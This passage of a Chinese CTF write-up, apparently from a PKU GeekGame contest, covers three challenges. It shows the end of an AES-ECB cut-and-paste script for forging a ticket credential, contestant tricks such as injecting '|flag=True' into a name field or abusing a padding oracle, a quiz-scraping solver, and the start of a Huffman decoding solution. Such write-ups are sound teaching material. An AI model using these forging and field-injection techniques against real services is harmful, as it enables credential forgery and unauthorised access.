class="cm-variable">PFXLEN</span><span class="cm-operator">%</span><span class="cm-number">16</span> == <span class="cm-number">0</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">encparts</span> = []</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">for</span> <span class="cm-variable">i</span> <span class="cm-keyword">in</span> <span class="cm-builtin">range</span>(<span class="cm-number">0</span>, <span class="cm-builtin">len</span>(<span class="cm-variable">TARGET</span>), <span class="cm-number">16</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">chunk</span> = <span class="cm-variable">TARGET</span>[<span class="cm-variable">i</span>:<span class="cm-variable">i</span><span class="cm-operator">+</span><span class="cm-number">16</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">enc</span> = <span class="cm-variable">do_enc_ecb</span>(<span class="cm-string">'2222222223'</span>, (<span class="cm-string">'\u0660🍕🍕'</span>.<span class="cm-property">encode</span>())<span class="cm-operator">+</span><span class="cm-variable">chunk</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">encparts</span>.<span class="cm-property">append</span>(<span class="cm-variable">enc</span>[<span class="cm-variable">PFXLEN</span>:<span class="cm-variable">PFXLEN</span><span class="cm-operator">+</span><span class="cm-number">16</span>])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-builtin">print</span>(<span class="cm-variable">base64</span>.<span class="cm-property">b64encode</span>(<span class="cm-string">b''</span>.<span class="cm-property">join</span>(<span class="cm-variable">encparts</span>)))</span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 762px;"></div><div class="CodeMirror-gutters" style="display: none; height: 762px;"></div></div></div></pre><p><span>这样就可以伪造购票凭证，并顺利领取到 Flag 2 了。</span></p><p><strong><span>赛场情况：</span></strong></p><p><span>有些选手发现在姓名里输入竖线就会被截断，因此试图用 “|flag=True” 这样的内容来注入。如果仅仅这样做是行不通的，因为在解码个人信息的代码是从前往后进行的，“真正” 的 flag 字段在姓名的后面，会覆盖掉伪造的字段：</span></p><pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="python"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="python"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">mydecode</span>(<span class="cm-variable">s</span>):</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">d</span> = {}</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span> <span class="cm-variable">pair</span> <span class="cm-keyword">in</span> <span class="cm-variable">s</span>.<span class="cm-property">split</span>(<span class="cm-string">'|'</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">k</span>, <span class="cm-variable">_</span>, <span class="cm-variable">v</span> = <span class="cm-variable">pair</span>.<span class="cm-property">partition</span>(<span class="cm-string">'='</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">d</span>[<span class="cm-variable">k</span>] = <span class="cm-variable">v</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">d</span></span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 134px;"></div><div class="CodeMirror-gutters" style="display: none; height: 134px;"></div></div></div></pre><p><span>但是考虑到攻击者可以截取部分明文，因此在姓名里面注入一波竖线，然后截掉后面的字段是可以做出来的，因为这个解码过程的容错率极高，所以有可能乱拼出来的密文可以被识别。（事实上一开始这道题直接是 JSON 解码，但 Python 的 JSON 库看见任何一个 non-ascii 字符就报错，为了降低难度就换成了手写的这个解码方式）。</span></p><p><span>也有选手没有通过 Padding Oracle 获得兑换码，而是直接修改了 code 前面的分隔符，于是就把兑换码带出来了。这道题特意采用了比较宽松的解码方式，因此诞生了很多有趣的解法。</span></p><p><span>附赠一条趣味小知识：下面这些是深受选手喜爱的学号。</span></p><p><img src="assets/image-20210523123610558.png" referrerpolicy="no-referrer" alt="image-20210523123610558"></p><p> </p><h2><a name="无法预料的问答algorithm）" class="md-header-anchor"></a><span>无法预料的问答（Algorithm）</span></h2><p><strong><span>命题背景：</span></strong></p><p><span>爬虫小题，题目原型是 </span><a href='https://github.com/maloleg/Cybrics2020_quiz'><span>CybricsCTF 2020 的Quiz 题目</span></a><span>。但是有两点变化：不再使用某阴间聊天软件 Bot 答题，而是换成 HTML，因为 Web 爬虫的群众基础高一点；回答错误后不再显示正确答案，因此需要更多的猜测次数。</span></p><p><span>至于这道题的分类为什么是 Algorithm 而不是 Misc 或 Web 呢？因为在确定题目类型的时候，Misc 表示 “文科生都能做”，Web 表示 “最好会一点前后端开发才能做”，本题需要的是写爬虫自动化的技能（直接 requests 当然是坠吼的，不会 requests 的话用按键精灵怼上去刷几百次也能出 Flag），恰好不满足 Misc 或者 Web 的定义。最后考虑到选手需要根据答题结果复原 Emoji 的排序，就勉强放到 Algorithm 里了，毕竟 </span><code>std::max</code><span> 也在 </span><code><algorithm></code><span> 里不是吗？</span></p><p><strong><span>预期解：</span></strong></p><p><span>根据题面，推测出 Emoji 按某种顺序构成了一个全序（这个顺序是随机生成的，没什么规律）。每秒可以提交一个 2 到 5 个选项的单选题，提交后将告知结果是否正确。如果猜对了（或者 2 个选项时猜错了，就相当于没有选择的那个是正解），就可以学习到一些知识，利用学到的知识可以逐步推理出 Emoji 的全序关系。</span></p><p><span>直接放脚本：</span></p><pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="python" style="break-inside: unset;"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="python"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">import</span> <span class="cm-variable">requests</span></span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">from</span> <span class="cm-variable">bs4</span> <span class="cm-keyword">import</span> <span class="cm-variable">BeautifulSoup</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">import</span> <span class="cm-variable">time</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">import</span> <span class="cm-variable">random</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">URL</span> = <span class="cm-string">'http://prob11.geekgame.pku.edu.cn/'</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">INTV_S</span> = <span class="cm-number">1.01</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">TOKEN</span> = <span class="cm-string">'...'</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">s</span> = <span class="cm-variable">requests</span>.<span class="cm-property">Session</span>()</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">beats</span> = <span class="cm-builtin">set</span>()</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">tot_tries</span> = <span class="cm-number">0</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">learn</span>(<span class="cm-variable">ans</span>, <span class="cm-variable">qs</span>, <span class="cm-variable">correct</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-builtin">len</span>(<span class="cm-variable">qs</span>)==<span class="cm-number">2</span> <span class="cm-keyword">and</span> <span class="cm-keyword">not</span> <span class="cm-variable">correct</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">correct</span> = <span class="cm-keyword">True</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">ans</span> = [<span class="cm-variable">q</span> <span class="cm-keyword">for</span> <span class="cm-variable">q</span> <span class="cm-keyword">in</span> <span class="cm-variable">qs</span> <span class="cm-keyword">if</span> <span class="cm-variable">q</span><span class="cm-operator">!</span>=<span class="cm-variable">ans</span>][<span class="cm-number">0</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-variable">correct</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span> <span class="cm-variable">p</span> <span class="cm-keyword">in</span> <span class="cm-variable">qs</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-variable">ans</span><span class="cm-operator">!</span>=<span class="cm-variable">p</span>: <span class="cm-comment"># ans>p</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span> <span class="cm-variable">a</span>, <span class="cm-variable">b</span> <span class="cm-keyword">in</span> <span class="cm-variable">beats</span>.<span class="cm-property">copy</span>(): <span class="cm-comment"># a>b</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-variable">a</span>==<span class="cm-variable">p</span>: <span class="cm-comment"># ans>a=p>b</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">beats</span>.<span class="cm-property">add</span>((<span class="cm-variable">ans</span>, <span class="cm-variable">b</span>))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">elif</span> <span class="cm-variable">b</span>==<span class="cm-variable">ans</span>: <span class="cm-comment"># a>b=ans>p</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">beats</span>.<span class="cm-property">add</span>((<span class="cm-variable">a</span>, <span class="cm-variable">p</span>))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">beats</span>.<span class="cm-property">add</span>((<span class="cm-variable">ans</span>, <span class="cm-variable">p</span>))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-builtin">print</span>(<span class="cm-string">'learnt beats'</span>, <span class="cm-builtin">len</span>(<span class="cm-variable">beats</span>))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">web_init</span>():</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">res</span> = <span class="cm-variable">s</span>.<span class="cm-property">post</span>(<span class="cm-variable">URL</span><span class="cm-operator">+</span><span class="cm-string">'/token'</span>, <span class="cm-variable">data</span>={<span class="cm-string">'token'</span>: <span class="cm-variable">TOKEN</span>})</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">res</span>.<span class="cm-property">raise_for_status</span>()</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">time</span>.<span class="cm-property">sleep</span>(<span class="cm-variable">INTV_S</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">res</span>.<span class="cm-property">text</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">web_post</span>(<span class="cm-variable">choice</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">global</span> <span class="cm-variable">tot_tries</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">tot_tries</span> += <span class="cm-number">1</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">res</span> = <span class="cm-variable">s</span>.<span class="cm-property">post</span>(<span class="cm-variable">URL</span>, <span class="cm-variable">data</span>={</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'choice'</span>: <span class="cm-variable">choice</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> })</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">res</span>.<span class="cm-property">raise_for_status</span>()</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">time</span>.<span class="cm-property">sleep</span>(<span class="cm-variable">INTV_S</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">res</span>.<span class="cm-property">text</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">parse</span>(<span class="cm-variable">t</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-string">'flag{'</span> <span class="cm-keyword">in</span> <span class="cm-variable">t</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-builtin">print</span>(<span class="cm-variable">t</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-builtin">print</span>(<span class="cm-string">'cookies'</span>, <span class="cm-variable">s</span>.<span class="cm-property">cookies</span>.<span class="cm-property">get_dict</span>())</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-builtin">print</span>(<span class="cm-string">'tries:'</span>, <span class="cm-variable">tot_tries</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-number">1</span><span class="cm-operator">/</span><span class="cm-number">0</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">soup</span> = <span class="cm-variable">BeautifulSoup</span>(<span class="cm-variable">t</span>, <span class="cm-string">'lxml'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">qs</span> = [<span class="cm-variable">elem</span>[<span class="cm-string">'value'</span>] <span class="cm-keyword">for</span> <span class="cm-variable">elem</span> <span class="cm-keyword">in</span> <span class="cm-variable">soup</span>.<span class="cm-property">select</span>(<span class="cm-string">'input[name=choice]'</span>)]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">flashes</span> = [<span class="cm-variable">elem</span>.<span class="cm-property">get_text</span>().<span class="cm-property">strip</span>() <span class="cm-keyword">for</span> <span class="cm-variable">elem</span> <span class="cm-keyword">in</span> <span class="cm-variable">soup</span>.<span class="cm-property">select</span>(<span class="cm-string">'.alert-info'</span>)]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">qs</span>, <span class="cm-variable">flashes</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">guess</span>(<span class="cm-variable">qs</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">possible</span> = []</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">for</span> <span class="cm-variable">q</span> <span class="cm-keyword">in</span> <span class="cm-variable">qs</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-builtin">all</span>(((<span class="cm-variable">q</span>, <span class="cm-variable">p</span>) <span class="cm-keyword">in</span> <span class="cm-variable">beats</span>) <span class="cm-keyword">for</span> <span class="cm-variable">p</span> <span class="cm-keyword">in</span> <span class="cm-variable">qs</span> <span class="cm-keyword">if</span> <span class="cm-variable">q</span><span class="cm-operator">!</span>=<span class="cm-variable">p</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-builtin">print</span>(<span class="cm-string">'inferenced'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">q</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-keyword">not</span> <span class="cm-builtin">any</span>(((<span class="cm-variable">p</span>,<span class="cm-variable">q</span>) <span class="cm-keyword">in</span> <span class="cm-variable">beats</span>) <span class="cm-keyword">for</span> <span class="cm-variable">p</span> <span class="cm-keyword">in</span> <span class="cm-variable">qs</span> <span class="cm-keyword">if</span> <span class="cm-variable">q</span><span class="cm-operator">!</span>=<span class="cm-variable">p</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">possible</span>.<span class="cm-property">append</span>(<span class="cm-variable">q</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># fallback</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-builtin">print</span>(<span class="cm-string">'guess from'</span>, <span class="cm-builtin">len</span>(<span class="cm-variable">possible</span>))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">random</span>.<span class="cm-property">choice</span>(<span class="cm-variable">possible</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">contains_msg</span>(<span class="cm-variable">msg</span>, <span class="cm-variable">flashes</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-builtin">any</span>(<span class="cm-variable">f</span>==<span class="cm-variable">msg</span> <span class="cm-keyword">for</span> <span class="cm-variable">f</span> <span class="cm-keyword">in</span> <span class="cm-variable">flashes</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">main</span>():</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">qs</span>, <span class="cm-variable">flashes</span> = <span class="cm-variable">parse</span>(<span class="cm-variable">web_init</span>())</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-builtin">print</span>(<span class="cm-string">'cookies'</span>, <span class="cm-variable">s</span>.<span class="cm-property">cookies</span>.<span class="cm-property">get_dict</span>())</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">while</span> <span class="cm-keyword">True</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">gu</span> = <span class="cm-variable">guess</span>(<span class="cm-variable">qs</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">old_qs</span> = <span class="cm-variable">qs</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">qs</span>, <span class="cm-variable">flashes</span> = <span class="cm-variable">parse</span>(<span class="cm-variable">web_post</span>(<span class="cm-variable">gu</span>))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-variable">contains_msg</span>(<span class="cm-string">'submitting too fast'</span>, <span class="cm-variable">flashes</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-number">1</span><span class="cm-operator">/</span><span class="cm-number">0</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">corr</span> = <span class="cm-variable">contains_msg</span>(<span class="cm-string">'回答正确，加油哦~'</span>, <span class="cm-variable">flashes</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-builtin">print</span>(<span class="cm-string">'->'</span>, <span class="cm-string">'+CORR'</span> <span class="cm-keyword">if</span> <span class="cm-variable">corr</span> <span class="cm-keyword">else</span> <span class="cm-string">' incorr'</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">learn</span>(<span class="cm-variable">gu</span>, <span class="cm-variable">old_qs</span>, <span class="cm-variable">corr</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">main</span>()</span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 2061px;"></div><div class="CodeMirror-gutters" style="display: none; height: 2061px;"></div></div></div></pre><p><span>上述脚本大概十分钟出 Flag。可以跟自己出 Flag 的时间比较一下，就能知道算法写得怎么样。这题倒也没过多地卡时间，基本上是个算法都能跑出来。</span></p><p><strong><span>赛场情况：</span></strong></p><p><span>有选手反映连续答对了 20 次也没有拿到 Flag，这是因为题目的代码逻辑有点问题，检查是否出 Flag 是在更新答对次数之前进行的，因此第 20 次正确 POST 之后确实不会显示 Flag。但是再刷新一下页面就出 Flag 了。</span></p><p> </p><h2><a name="计算概论balgorithm）" class="md-header-anchor"></a><span>计算概论B（Algorithm）</span></h2><p><strong><span>命题背景：</span></strong></p><p><span>这题主要考察了选手是否了解 Huffman 编码。还顺便考察一个冷知识：Python 的 </span><code>dict</code><span>（包括 </span><code>Counter</code><span>）是有序的。</span></p><p><strong><span>预期解：</span></strong></p><p><span>拿到 ipynb 之后大致看看代码的逻辑，是把每个字符编码为了前缀不重合的 0-1 串，而且词频已知。此时选手应该怀疑这个编码方式是 Huffman 编码，因为这是最著名的需要用词频来构造的编码方式了。</span></p><p><span>如果要确定这个就是 Huffman 编码，可以自己实现一下 Huffman，发现 Huffman 出来的编码结果长度跟 ipynb 里面的长度恰好一样。由于 Huffman 编码的最优性，可以确信 ipynb 用的就是 Huffman 编码。</span></p><p><span>所以我们就需要猜这棵 Huffman 树的具体形态。按照词频可以基本确定每个字符的编码长度，但每一位是 0 还是 1 则不清楚。</span></p><p><span>如果选手知道一些关于 Python 的冷知识的话，就会知道 CPython 3.6 </span><a href='https://bugs.python.org/issue27350'><span>采用了一种保持元素插入顺序的 dict 实现</span></a><span>，然后 </span><a href='https://softwaremaniacs.org/blog/2020/02/05/dicts-ordered/'><span>dict 保持插入顺序的特性进入了 Python 3.7 标准</span></a><span>。这个 ipynb 的解释器版本号是 3.8.3，因此是满足这一标准的。也就是说，这个统计词频的 Counter：</span></p><p><img src="assets/image-20210520162015117.png" referrerpolicy="no-referrer" alt="image-20210520162015117"></p><p><span>其实泄露了额外的信息：第一个出现的字符是 e，第二个是 2，第三个是 9……</span></p><p><span>因此，我们知道了 e 是第一个出现的字符，而且知道 e 经过 Huffman 编码的长度是 k，就可以在编码后的文本里直接取前 k 比特，这就是 e 的编码。然后以此类推，就可以知道所有字符的编码。</span></p><p><span>另外，由于词频可能有重复的情况，这导致了构造 Huffman 树时每个字符的编码长度可能不唯一。对于这道题来说，由于 c 和 d 的词频都是 35，使得其中一个的编码长度是 6、另一个是 7。只要分别尝试两种可能性即可。</span></p><p><span>解题脚本如下：</span></p><pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="python" style="break-inside: unset;"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="python"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; 